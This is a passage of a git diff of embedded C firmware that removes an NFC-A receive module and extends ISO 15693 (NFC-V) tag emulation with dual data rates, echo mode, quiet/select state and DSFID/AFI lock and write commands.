where the 9th bit is odd parity. Data is transmitted LSB first. */ - uint32_t byte_num = (state->bits_received / 9); - uint32_t bit_num = (state->bits_received % 9); - - if(byte_num >= NFCA_FRAME_LENGTH) { - return; - } - - if(bit_num == 8) { - uint32_t parity_value = 1 << (state->bits_received / 9); - state->parity_bits &= ~parity_value; - state->parity_bits |= bit ? parity_value : 0; - } else { - uint32_t bit_value = 1 << bit_num; - state->frame_data[byte_num] &= ~bit_value; - state->frame_data[byte_num] |= bit ? bit_value : 0; - } - - state->bits_received++; -} - -bool nfca_trans_rx_loop(NfcaTransRxState* state, uint32_t timeout_ms) { - furi_assert(state); - - state->valid_frame = false; - state->have_sof = false; - state->bits_received = 0; - - bool done = false; - - uint32_t timeout_us = timeout_ms * 1000; - - while(!done) { - uint32_t nsec = pulse_reader_receive(state->reader_signal, timeout_us); - - bool eof = state->have_sof && (nsec >= (2 * NFCA_TB)); - bool lost_pulse = false; - - if(state->have_sof && nsec == PULSE_READER_LOST_EDGE) { - nsec = NFCA_T1; - lost_pulse = true; - } else if(nsec == PULSE_READER_NO_EDGE) { - done = true; - } - - if(IS_T1(nsec) || eof) { - timeout_us = (3 * NFCA_TB) / 1000; - if(!state->have_sof) { - state->frame_time = -(NFCA_TB - nsec); - state->have_sof = true; - state->valid_frame = false; - state->bits_received = 0; - state->debug_pos = 0; - if(lost_pulse) { - state->frame_time -= nsec; - } - continue; - } - - if(state->frame_time > NFCA_TB_MIN) { - state->frame_time -= NFCA_TB; - nfca_bit_received(state, 0); - } - - if(IS_ZERO(state->frame_time)) { - state->frame_time = -(NFCA_TB - nsec); - nfca_bit_received(state, 0); - } else if(IS_TX(state->frame_time)) { - state->frame_time = -(NFCA_TX - nsec); - nfca_bit_received(state, 1); - } else { - if(eof) { - state->have_sof = false; - state->valid_frame = true; - done = true; - } else { - } - } - } else { - if(!state->have_sof) { - if(IS_TB(nsec)) { - state->frame_time = 0; - state->have_sof = true; - state->valid_frame = false; - state->bits_received = 0; - state->debug_pos = 0; - if(lost_pulse) { - state->frame_time -= nsec; - } - continue; - } else { - state->frame_time = 0; - } - } else { - state->frame_time += nsec; - } - } - - if(lost_pulse) { - state->frame_time -= nsec; - } - } - - if(state->valid_frame) { - if(state->bits_received > 7) { - /* a last 0-bit will look like a missing bit */ - if((state->bits_received % 9) == 8) { - nfca_bit_received(state, 0); - state->bits_received++; - } - } - } - - return state->valid_frame; -} diff --git a/lib/nfc/protocols/nfca_trans_rx.h b/lib/nfc/protocols/nfca_trans_rx.h deleted file mode 100644 index cf6d428ec..000000000 --- a/lib/nfc/protocols/nfca_trans_rx.h +++ /dev/null @@ -1,53 +0,0 @@ -#pragma once - -#include -#include - -#include -#include -#include - -#include "nfc_util.h" - -/* assume fc/128 */ -#define NFCA_FC (13560000.0f) /* MHz */ -#define NFCA_FC_K ((uint32_t)(NFCA_FC / 1000)) /* kHz */ -#define NFCA_T1 (28.0f / NFCA_FC * 1000000000) -#define NFCA_T1_MIN (24.0f / NFCA_FC * 1000000000) -#define NFCA_T1_MAX (41.0f / NFCA_FC * 1000000000) -#define NFCA_TX (64.0f / NFCA_FC * 1000000000) /* 4.7198 Β΅s */ -#define NFCA_TX_MIN (0.90f * NFCA_TX) -#define NFCA_TX_MAX (1.10f * NFCA_TX) -#define NFCA_TB (128.0f / NFCA_FC * 1000000000) /* 9.4395 Β΅s */ -#define NFCA_TB_MIN (0.80f * NFCA_TB) -#define NFCA_TB_MAX (1.20f * NFCA_TB) - -#define IS_T1(x) ((x) >= NFCA_T1_MIN && (x) <= NFCA_T1_MAX) -#define IS_TX(x) ((x) >= NFCA_TX_MIN && (x) <= NFCA_TX_MAX) -#define IS_TB(x) ((x) >= NFCA_TB_MIN && (x) <= NFCA_TB_MAX) -#define IS_ZERO(x) ((x) >= -NFCA_T1_MIN / 2 && (x) <= NFCA_T1_MIN / 2) - -#define DIGITAL_SIGNAL_UNIT_S (100000000000.0f) -#define DIGITAL_SIGNAL_UNIT_US (100000.0f) - -#define NFCA_FRAME_LENGTH 32 -#define NFCA_DEBUG_LENGTH 128 - -typedef struct { - bool have_sof; - bool valid_frame; - int32_t frame_time; - size_t bits_received; - uint8_t frame_data[NFCA_FRAME_LENGTH]; - uint32_t debug_buffer[NFCA_DEBUG_LENGTH]; - size_t debug_pos; - uint32_t parity_bits; - PulseReader* reader_signal; -} NfcaTransRxState; - -bool nfca_trans_rx_loop(NfcaTransRxState* state, uint32_t timeout_ms); -void nfca_trans_rx_deinit(NfcaTransRxState* state); -void nfca_trans_rx_init(NfcaTransRxState* state); - -void nfca_trans_rx_pause(NfcaTransRxState* state); -void nfca_trans_rx_continue(NfcaTransRxState* state); \ No newline at end of file diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 435a368f5..e3ab4103f 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -180,128 +180,240 @@ void nfcv_crc(uint8_t* data, uint32_t length) { data[length + 1] = crc >> 8; } +void nfcv_emu_free_signals(NfcVEmuAirSignals* signals) { + furi_assert(signals); + + if(signals->nfcv_resp_one) { + digital_signal_free(signals->nfcv_resp_one); + } + if(signals->nfcv_resp_zero) { + digital_signal_free(signals->nfcv_resp_zero); + } + if(signals->nfcv_resp_sof) { + digital_signal_free(signals->nfcv_resp_sof); + } + if(signals->nfcv_resp_eof) { + digital_signal_free(signals->nfcv_resp_eof); + } + signals->nfcv_resp_one = NULL; + signals->nfcv_resp_zero = NULL; + signals->nfcv_resp_sof = NULL; + signals->nfcv_resp_eof = NULL; +} + +bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_t slowdown) { + furi_assert(air); + furi_assert(signals); + + bool success = true; + + if(!signals->nfcv_resp_one) { + /* logical one: unmodulated then 8 pulses */ + signals->nfcv_resp_one = digital_signal_alloc( + slowdown * (air->nfcv_resp_unmod->edge_cnt + 8 * air->nfcv_resp_pulse->edge_cnt)); + if(!signals->nfcv_resp_one) { + return false; + } + for(size_t i = 0; i < slowdown; i++) { + success &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_unmod); + } + for(size_t i = 0; i < slowdown * 8; i++) { + success &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_pulse); + } + if(!success) { + return false; + } + } + if(!signals->nfcv_resp_zero) { + /* logical zero: 8 pulses then unmodulated */ + signals->nfcv_resp_zero = digital_signal_alloc( + slowdown * (8 * air->nfcv_resp_pulse->edge_cnt + air->nfcv_resp_unmod->edge_cnt)); + if(!signals->nfcv_resp_zero) { + return false; + } + for(size_t i = 0; i < slowdown * 8; i++) { + success &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_pulse); + } + for(size_t i = 0; i < slowdown; i++) { + success &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_unmod); + } + if(!success) { + return false; + } + } + if(!signals->nfcv_resp_sof) { + /* SOF: unmodulated, 24 pulses, logic 1 */ + signals->nfcv_resp_sof = digital_signal_alloc( + slowdown * (3 * air->nfcv_resp_unmod->edge_cnt + 24 * air->nfcv_resp_pulse->edge_cnt) + + signals->nfcv_resp_one->edge_cnt); + if(!signals->nfcv_resp_sof) { + return false; + } + for(size_t i = 0; i < slowdown * 3; i++) { + success &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_unmod); + } + for(size_t i = 0; i < slowdown * 24; i++) { + success &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_pulse); + } + success &= digital_signal_append(signals->nfcv_resp_sof, signals->nfcv_resp_one); + if(!success) { + return false; + } + } + if(!signals->nfcv_resp_eof) { + /* EOF: logic 0, 24 pulses, unmodulated */ + signals->nfcv_resp_eof = digital_signal_alloc( + signals->nfcv_resp_zero->edge_cnt + + slowdown * (24 * air->nfcv_resp_pulse->edge_cnt + 3 * air->nfcv_resp_unmod->edge_cnt) + + air->nfcv_resp_unmod->edge_cnt); + if(!signals->nfcv_resp_eof) { + return false; + } + success &= digital_signal_append(signals->nfcv_resp_eof, signals->nfcv_resp_zero); + for(size_t i = 0; i < slowdown * 23; i++) { + success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); + } + /* we don't want to add the last level as we just want a transition to "unmodulated" again */ + for(size_t i = 0; i < slowdown; i++) { + success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_half_pulse); + } + } + return success; +} + +bool nfcv_emu_alloc(NfcVData* nfcv_data) { + furi_assert(nfcv_data); + + if(!nfcv_data->frame) { + nfcv_data->frame = malloc(NFCV_FRAMESIZE_MAX); + if(!nfcv_data->frame) { + return false; + } + } + + if(!nfcv_data->emu_air.nfcv_signal) { + /* assuming max frame length is 255 bytes */ + nfcv_data->emu_air.nfcv_signal = digital_sequence_alloc(8 * 255 + 2, &gpio_spi_r_mosi); + if(!nfcv_data->emu_air.nfcv_signal) { + return false; + } + } + if(!nfcv_data->emu_air.nfcv_resp_unmod) { + /* unmodulated 256/fc or 1024/fc signal as building block */ + nfcv_data->emu_air.nfcv_resp_unmod = digital_signal_alloc(4); + if(!nfcv_data->emu_air.nfcv_resp_unmod) { + return false; + } + nfcv_data->emu_air.nfcv_resp_unmod->start_level = false; + nfcv_data->emu_air.nfcv_resp_unmod->edge_timings[0] = + (uint32_t)(NFCV_RESP_SUBC1_UNMOD_256 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_unmod->edge_cnt = 1; + } + if(!nfcv_data->emu_air.nfcv_resp_pulse) { + /* modulated fc/32 or fc/8 pulse as building block */ + nfcv_data->emu_air.nfcv_resp_pulse = digital_signal_alloc(4); + if(!nfcv_data->emu_air.nfcv_resp_pulse) { + return false; + } + nfcv_data->emu_air.nfcv_resp_pulse->start_level = true; + nfcv_data->emu_air.nfcv_resp_pulse->edge_timings[0] = + (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_pulse->edge_timings[1] = + (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_pulse->edge_cnt = 2; + } + + if(!nfcv_data->emu_air.nfcv_resp_half_pulse) { + /* modulated fc/32 or fc/8 pulse as building block */ + nfcv_data->emu_air.nfcv_resp_half_pulse = digital_signal_alloc(4); + if(!nfcv_data->emu_air.nfcv_resp_half_pulse) { + return false; + } + nfcv_data->emu_air.nfcv_resp_half_pulse->start_level = true; + nfcv_data->emu_air.nfcv_resp_half_pulse->edge_timings[0] = + (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); + nfcv_data->emu_air.nfcv_resp_half_pulse->edge_cnt = 1; + } + + bool success = true; + success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_high, 1); + success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_low, 4); + + if(!success) { + FURI_LOG_E(TAG, "Failed to allocate signals"); + return false; + } + + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_SOF, + nfcv_data->emu_air.signals_high.nfcv_resp_sof); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_BIT0, + nfcv_data->emu_air.signals_high.nfcv_resp_zero); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_BIT1, + nfcv_data->emu_air.signals_high.nfcv_resp_one); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_EOF, + nfcv_data->emu_air.signals_high.nfcv_resp_eof); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_SOF, + nfcv_data->emu_air.signals_low.nfcv_resp_sof); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_BIT0, + nfcv_data->emu_air.signals_low.nfcv_resp_zero); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_BIT1, + nfcv_data->emu_air.signals_low.nfcv_resp_one); + digital_sequence_set_signal( + nfcv_data->emu_air.nfcv_signal, + NFCV_SIG_LOW_EOF, + nfcv_data->emu_air.signals_low.nfcv_resp_eof); + + return true; +} + void nfcv_emu_free(NfcVData* nfcv_data) { + furi_assert(nfcv_data); + + if(nfcv_data->frame) { + free(nfcv_data->frame); + } + if(nfcv_data->emu_protocol_ctx) { + free(nfcv_data->emu_protocol_ctx); + } + if(nfcv_data->emu_air.nfcv_resp_unmod) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod); + } + if(nfcv_data->emu_air.nfcv_resp_pulse) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); + } + if(nfcv_data->emu_air.nfcv_resp_half_pulse) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_half_pulse); + } if(nfcv_data->emu_air.nfcv_signal) { digital_sequence_free(nfcv_data->emu_air.nfcv_signal); } - if(nfcv_data->emu_air.nfcv_resp_unmod_256) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod_256); - } - if(nfcv_data->emu_air.nfcv_resp_pulse_32) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse_32); - } - if(nfcv_data->emu_air.nfcv_resp_one) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_one); - } - if(nfcv_data->emu_air.nfcv_resp_zero) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_zero); - } - if(nfcv_data->emu_air.nfcv_resp_sof) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_sof); - } - if(nfcv_data->emu_air.nfcv_resp_eof) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_eof); - } if(nfcv_data->emu_air.reader_signal) { pulse_reader_free(nfcv_data->emu_air.reader_signal); } + nfcv_data->frame = NULL; + nfcv_data->emu_air.nfcv_resp_unmod = NULL; + nfcv_data->emu_air.nfcv_resp_pulse = NULL; + nfcv_data->emu_air.nfcv_resp_half_pulse = NULL; nfcv_data->emu_air.nfcv_signal = NULL; - nfcv_data->emu_air.nfcv_resp_unmod_256 = NULL; - nfcv_data->emu_air.nfcv_resp_pulse_32 = NULL; - nfcv_data->emu_air.nfcv_resp_one = NULL; - nfcv_data->emu_air.nfcv_resp_zero = NULL; - nfcv_data->emu_air.nfcv_resp_sof = NULL; - nfcv_data->emu_air.nfcv_resp_eof = NULL; nfcv_data->emu_air.reader_signal = NULL; -} -void nfcv_emu_alloc(NfcVData* nfcv_data) { - if(!nfcv_data->emu_air.nfcv_signal) { - /* assuming max frame length is 255 bytes */ - nfcv_data->emu_air.nfcv_signal = digital_sequence_alloc(8 * 255 + 2, &gpio_spi_r_mosi); - } - - if(!nfcv_data->emu_air.nfcv_resp_unmod_256) { - /* unmodulated 256/fc signal as building block */ - nfcv_data->emu_air.nfcv_resp_unmod_256 = digital_signal_alloc(4); - nfcv_data->emu_air.nfcv_resp_unmod_256->start_level = false; - nfcv_data->emu_air.nfcv_resp_unmod_256->edge_timings[0] = - (uint32_t)(NFCV_RESP_SUBC1_UNMOD_256 * DIGITAL_SIGNAL_UNIT_S); - nfcv_data->emu_air.nfcv_resp_unmod_256->edge_cnt = 1; - } - if(!nfcv_data->emu_air.nfcv_resp_pulse_32) { - /* modulated fc/32 pulse as building block */ - nfcv_data->emu_air.nfcv_resp_pulse_32 = digital_signal_alloc(4); - nfcv_data->emu_air.nfcv_resp_pulse_32->start_level = true; - nfcv_data->emu_air.nfcv_resp_pulse_32->edge_timings[0] = - (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); - nfcv_data->emu_air.nfcv_resp_pulse_32->edge_timings[1] = - (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); - nfcv_data->emu_air.nfcv_resp_pulse_32->edge_cnt = 2; - } - if(!nfcv_data->emu_air.nfcv_resp_one) { - /* logical one: 256/fc unmodulated then 8 pulses fc/32 */ - nfcv_data->emu_air.nfcv_resp_one = digital_signal_alloc(24); - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_one, nfcv_data->emu_air.nfcv_resp_unmod_256); - for(size_t i = 0; i < 8; i++) { - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_one, nfcv_data->emu_air.nfcv_resp_pulse_32); - } - } - if(!nfcv_data->emu_air.nfcv_resp_zero) { - /* logical zero: 8 pulses fc/32 then 256/fc unmodulated */ - nfcv_data->emu_air.nfcv_resp_zero = digital_signal_alloc(24); - for(size_t i = 0; i < 8; i++) { - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_zero, nfcv_data->emu_air.nfcv_resp_pulse_32); - } - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_zero, nfcv_data->emu_air.nfcv_resp_unmod_256); - } - if(!nfcv_data->emu_air.nfcv_resp_sof) { - /* SOF: unmodulated 768/fc, 24 pulses fc/32, logic 1 */ - nfcv_data->emu_air.nfcv_resp_sof = digital_signal_alloc(128); - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_sof, nfcv_data->emu_air.nfcv_resp_unmod_256); - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_sof, nfcv_data->emu_air.nfcv_resp_unmod_256); - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_sof, nfcv_data->emu_air.nfcv_resp_unmod_256); - for(size_t i = 0; i < 24; i++) { - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_sof, nfcv_data->emu_air.nfcv_resp_pulse_32); - } - digital_signal_append(nfcv_data->emu_air.nfcv_resp_sof, nfcv_data->emu_air.nfcv_resp_one); - } - if(!nfcv_data->emu_air.nfcv_resp_eof) { - /* EOF: logic 0, 24 pulses fc/32, unmodulated 768/fc */ - nfcv_data->emu_air.nfcv_resp_eof = digital_signal_alloc(128); - digital_signal_append(nfcv_data->emu_air.nfcv_resp_eof, nfcv_data->emu_air.nfcv_resp_zero); - for(size_t i = 0; i < 24; i++) { - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_eof, nfcv_data->emu_air.nfcv_resp_pulse_32); - } - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_eof, nfcv_data->emu_air.nfcv_resp_unmod_256); - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_eof, nfcv_data->emu_air.nfcv_resp_unmod_256); - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_eof, nfcv_data->emu_air.nfcv_resp_unmod_256); - /* add extra silence */ - digital_signal_append( - nfcv_data->emu_air.nfcv_resp_eof, nfcv_data->emu_air.nfcv_resp_unmod_256); - } - - digital_sequence_set_signal( - nfcv_data->emu_air.nfcv_signal, NFCV_SIG_SOF, nfcv_data->emu_air.nfcv_resp_sof); - digital_sequence_set_signal( - nfcv_data->emu_air.nfcv_signal, NFCV_SIG_BIT0, nfcv_data->emu_air.nfcv_resp_zero); - digital_sequence_set_signal( - nfcv_data->emu_air.nfcv_signal, NFCV_SIG_BIT1, nfcv_data->emu_air.nfcv_resp_one); - digital_sequence_set_signal( - nfcv_data->emu_air.nfcv_signal, NFCV_SIG_EOF, nfcv_data->emu_air.nfcv_resp_eof); + nfcv_emu_free_signals(&nfcv_data->emu_air.signals_high); + nfcv_emu_free_signals(&nfcv_data->emu_air.signals_low); } void nfcv_emu_send( @@ -311,6 +423,9 @@ void nfcv_emu_send( uint8_t length, NfcVSendFlags flags, uint32_t send_time) { + furi_assert(tx_rx); + furi_assert(nfcv); + /* picked default value (0) to match the most common format */ if(!flags) { flags = NfcVSendFlagsSof | NfcVSendFlagsCrc | NfcVSendFlagsEof | @@ -322,10 +437,16 @@ void nfcv_emu_send( length += 2; } + /* depending on the request flags, send with high or low rate */ + uint32_t bit0 = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_BIT0 : NFCV_SIG_LOW_BIT0; + uint32_t bit1 = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_BIT1 : NFCV_SIG_LOW_BIT1; + uint32_t sof = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_SOF : NFCV_SIG_LOW_SOF; + uint32_t eof = (flags & NfcVSendFlagsHighRate) ? NFCV_SIG_EOF : NFCV_SIG_LOW_EOF; + digital_sequence_clear(nfcv->emu_air.nfcv_signal); if(flags & NfcVSendFlagsSof) { - digital_sequence_add(nfcv->emu_air.nfcv_signal, NFCV_SIG_SOF); + digital_sequence_add(nfcv->emu_air.nfcv_signal, sof); } for(int bit_total = 0; bit_total < length * 8; bit_total++) { @@ -333,12 +454,11 @@ void nfcv_emu_send( uint32_t bit_pos = bit_total % 8; uint8_t bit_val = 0x01 << bit_pos; - digital_sequence_add( - nfcv->emu_air.nfcv_signal, (data[byte_pos] & bit_val) ? NFCV_SIG_BIT1 : NFCV_SIG_BIT0); + digital_sequence_add(nfcv->emu_air.nfcv_signal, (data[byte_pos] & bit_val) ? bit1 : bit0); } if(flags & NfcVSendFlagsEof) { - digital_sequence_add(nfcv->emu_air.nfcv_signal, NFCV_SIG_EOF); + digital_sequence_add(nfcv->emu_air.nfcv_signal, eof); } FURI_CRITICAL_ENTER(); @@ -371,6 +491,10 @@ void nfcv_emu_handle_packet( FuriHalNfcTxRxContext* tx_rx, FuriHalNfcDevData* nfc_data, void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + NfcVData* nfcv_data = (NfcVData*)nfcv_data_in; NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; @@ -378,16 +502,41 @@ void nfcv_emu_handle_packet( return; } + if(nfcv_data->echo_mode) { + nfcv_emu_send( + tx_rx, + nfcv_data, + nfcv_data->frame, + nfcv_data->frame_length, + NfcVSendFlagsSof | NfcVSendFlagsHighRate | NfcVSendFlagsEof, + ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "ECHO data"); + return; + } + /* parse the frame data for the upcoming part 3 handling */ ctx->flags = nfcv_data->frame[0]; ctx->command = nfcv_data->frame[1]; + ctx->selected = (ctx->flags & RFAL_NFCV_REQ_FLAG_SELECT); ctx->addressed = !(ctx->flags & RFAL_NFCV_REQ_FLAG_INVENTORY) && (ctx->flags & RFAL_NFCV_REQ_FLAG_ADDRESS); ctx->advanced = (ctx->command >= 0xA0); ctx->address_offset = 2 + (ctx->advanced ? 1 : 0); ctx->payload_offset = ctx->address_offset + (ctx->addressed ? 8 : 0); - ctx->response_flags = NfcVSendFlagsNormal; - ctx->send_time = nfcv_data->eof_timestamp + NFCV_FDT_FC(4130); + ctx->response_flags = NfcVSendFlagsSof | NfcVSendFlagsCrc | NfcVSendFlagsEof; + ctx->send_time = nfcv_data->eof_timestamp + NFCV_FDT_FC(4380); + + if(ctx->flags & RFAL_NFCV_REQ_FLAG_DATA_RATE) { + ctx->response_flags |= NfcVSendFlagsHighRate; + } + if(ctx->flags & RFAL_NFCV_REQ_FLAG_SUB_CARRIER) { + ctx->response_flags |= NfcVSendFlagsTwoSubcarrier; + } + + if(ctx->payload_offset + 2 > nfcv_data->frame_length) { + FURI_LOG_D(TAG, "command 0x%02X, but packet is too short", ctx->command); + return; + } /* standard behavior is implemented */ if(ctx->addressed) { @@ -420,6 +569,14 @@ void nfcv_emu_handle_packet( } } + if(ctx->selected && !nfcv_data->selected) { + FURI_LOG_D( + TAG, + "selected card shall execute command 0x%02X, but we were not selected", + ctx->command); + return; + } + /* then give control to the card subtype specific protocol filter */ if(ctx->emu_protocol_filter != NULL) { if(ctx->emu_protocol_filter(tx_rx, nfc_data, nfcv_data)) { @@ -433,34 +590,117 @@ void nfcv_emu_handle_packet( switch(ctx->command) { case ISO15693_INVENTORY: { - ctx->response_buffer[0] = ISO15693_NOERROR; - ctx->response_buffer[1] = nfcv_data->dsfid; - nfcv_revuidcpy(&ctx->response_buffer[2], nfc_data->uid); + if(!nfcv_data->quiet) { + ctx->response_buffer[0] = ISO15693_NOERROR; + ctx->response_buffer[1] = nfcv_data->dsfid; + nfcv_revuidcpy(&ctx->response_buffer[2], nfc_data->uid); - nfcv_emu_send( - tx_rx, nfcv_data, ctx->response_buffer, 10, ctx->response_flags, ctx->send_time); - snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY"); + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 10, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY"); + } else { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY (quiet)"); + } break; } case ISO15693_STAYQUIET: { snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "STAYQUIET"); + nfcv_data->quiet = true; break; } case ISO15693_LOCKBLOCK: { - snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCKBLOCK"); + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + nfcv_data->security_status[block] |= 0x01; + nfcv_data->modified = true; + + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCK BLOCK %d", block); + break; + } + + case ISO15693_WRITE_DSFID: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + + if(!(nfcv_data->security_status[0] & NfcVLockBitDsfid)) { + nfcv_data->dsfid = id; + nfcv_data->modified = true; + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "WRITE DSFID %02X", id); + break; + } + + case ISO15693_WRITE_AFI: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + + if(!(nfcv_data->security_status[0] & NfcVLockBitAfi)) { + nfcv_data->afi = id; + nfcv_data->modified = true; + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "WRITE AFI %02X", id); + break; + } + + case ISO15693_LOCK_DSFID: { + if(!(nfcv_data->security_status[0] & NfcVLockBitDsfid)) { + nfcv_data->security_status[0] |= NfcVLockBitDsfid; + nfcv_data->modified = true; + + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCK DSFID"); + break; + } + + case ISO15693_LOCK_AFI: { + if(!(nfcv_data->security_status[0] & NfcVLockBitAfi)) { + nfcv_data->security_status[0] |= NfcVLockBitAfi; + nfcv_data->modified = true; + + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + } + + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCK AFI"); break; } case ISO15693_SELECT: { ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_data->selected = true; + nfcv_data->quiet = false; nfcv_emu_send( tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "SELECT"); break; } + case ISO15693_RESET_TO_READY: { + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_data->quiet = false; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "RESET_TO_READY"); + break; + } + case ISO15693_READ_MULTI_BLOCK: case ISO15693_READBLOCK: { uint8_t block = nfcv_data->frame[ctx->payload_offset]; @@ -470,54 +710,64 @@ void nfcv_emu_handle_packet( blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; } - if(block + blocks > nfcv_data->block_num) { - ctx->response_buffer[0] = ISO15693_ERROR_CMD_NOT_REC; - nfcv_emu_send( - tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); - } else { - ctx->response_buffer[0] = ISO15693_NOERROR; - memcpy( - &ctx->response_buffer[1], - &nfcv_data->data[nfcv_data->block_size * block], - nfcv_data->block_size * blocks); + if(block + blocks <= nfcv_data->block_num) { + uint8_t buffer_pos = 0; + + ctx->response_buffer[buffer_pos++] = ISO15693_NOERROR; + + for(int block_index = 0; block_index < blocks; block_index++) { + int block_current = block + block_index; + /* prepend security status */ + if(ctx->flags & RFAL_NFCV_REQ_FLAG_OPTION) { + ctx->response_buffer[buffer_pos++] = + nfcv_data->security_status[1 + block_current]; + } + /* then the data block */ + memcpy( + &ctx->response_buffer[buffer_pos], + &nfcv_data->data[nfcv_data->block_size * block_current], + nfcv_data->block_size); + buffer_pos += nfcv_data->block_size; + } nfcv_emu_send( tx_rx, nfcv_data, ctx->response_buffer, - 1 + nfcv_data->block_size * blocks, + buffer_pos, ctx->response_flags, ctx->send_time); } snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "READ BLOCK %d", block); + break; } case ISO15693_WRITE_MULTI_BLOCK: case ISO15693_WRITEBLOCK: { - uint8_t block = nfcv_data->frame[ctx->payload_offset]; uint8_t blocks = 1; - uint8_t data_pos = 1; + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t data_pos = ctx->payload_offset + 1; if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { - blocks = 